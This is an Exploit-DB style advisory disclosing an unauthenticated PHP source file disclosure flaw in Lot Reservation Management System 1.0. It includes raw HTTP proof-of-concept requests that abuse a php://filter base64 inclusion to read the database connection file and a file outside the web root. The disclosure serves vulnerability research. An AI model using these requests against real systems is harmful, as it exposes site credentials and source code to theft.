Lot Reservation Management System Unauthenticated File Disclosure Vulnerability

vendor:

Lot Reservation Management System

by:

Elijah Mandila Syoyi

4.1

CVSS

MEDIUM

Unauthenticated File Disclosure

200

CWE

Product Name: Lot Reservation Management System

Affected Version From: 1

Affected Version To: 1

Patch Exists: NO

Related CWE:

CPE: a:lot_reservation_management_system:1.0

Metasploit:

Other Scripts:

Platforms Tested: Microsoft Windows 11 Enterprise and XAMPP 3.3.0

2023

Lot Reservation Management System Unauthenticated File Disclosure Vulnerability

The Lot Reservation Management System is a PHP/MySQLi project designed for managing land property reservations. It allows clients to view property information, reserve properties, and provides user-friendly functions. However, the application is vulnerable to an unauthenticated file disclosure exploit.

Mitigation:

To mitigate this vulnerability, the vendor should implement proper access controls and authentication mechanisms to restrict unauthorized access to sensitive files. Regular security assessments and code reviews can also help in identifying and fixing such vulnerabilities.

Source

Exploit-DB raw data:

# Exploit Title: Lot Reservation Management System Unauthenticated File Disclosure Vulnerability
# Google Dork: N/A
# Date: 10th December 2023
# Exploit Author: Elijah Mandila Syoyi
# Vendor Homepage: https://www.sourcecodester.com/php/14530/lot-reservation-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/lot-reservation-management-system.zip
# Version: 1.0
# Tested on: Microsoft Windows 11 Enterprise and XAMPP 3.3.0
# CVE : N/A

Developer description about application purpose:-

------------------------------------------------------------------------------------------------------------------------------------------------------------------
About

The Lot Reservation Management System is a simple PHP/MySQLi project that will help a certain subdivision, condo, or any business that selling a land property or house and lot. The system will help the said industry or company to provide their possible client information about the property they are selling and at the same time, possible clients can reserve their desired property. The lot reservation system website for the clients has user-friendly functions and the contents that are displayed can be managed dynamically by the management. This system allows management to upload the area map, and by this feature, the system admin or staff will populate the list of lots, house models, or the property that they are selling to allow the possible client to choose the area they want. The map will be divided into each division of the property of building like Phase 1-5 of a certain Subdivision, each of these phases will be encoded individually in the system along with the map image showing the division of each property or lots.

------------------------------------------------------------------------------------------------------------------------------------------------------------------


Vulnerability:-

The application is vulnerable to PHP source code disclosure vulnerability. This can be abused by an attacker to disclose sensitive PHP files within the application and also outside the server root. PHP conversion to base64 filter will be used in this scenario.



Proof of Concept:-

(HTTP POST Request)

GET /lot/index.php?page=php://filter/convert.base64-encode/resource=admin/db_connect HTTP/1.1
Host: 192.168.150.228
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.150.228/lot/
Cookie: PHPSESSID=o59sqrufi4171o8bkbmf1aq9sn
Upgrade-Insecure-Requests: 1


The same can be achieved by removing the PHPSESSID cookie as below:-


GET /lot/index.php?page=php://filter/convert.base64-encode/resource=admin/db_connect HTTP/1.1
Host: 192.168.150.228
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.150.228/lot/
Upgrade-Insecure-Requests: 1



The file requested will be returned in base64 format in returned HTTP response.

The attack can also be used to traverse directories to return files outside the web root.



GET /lot/index.php?page=php://filter/convert.base64-encode/resource=D:\test HTTP/1.1
Host: 192.168.150.228
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.150.228/lot/
Upgrade-Insecure-Requests: 1


This will return test.php file in the D:\ directory.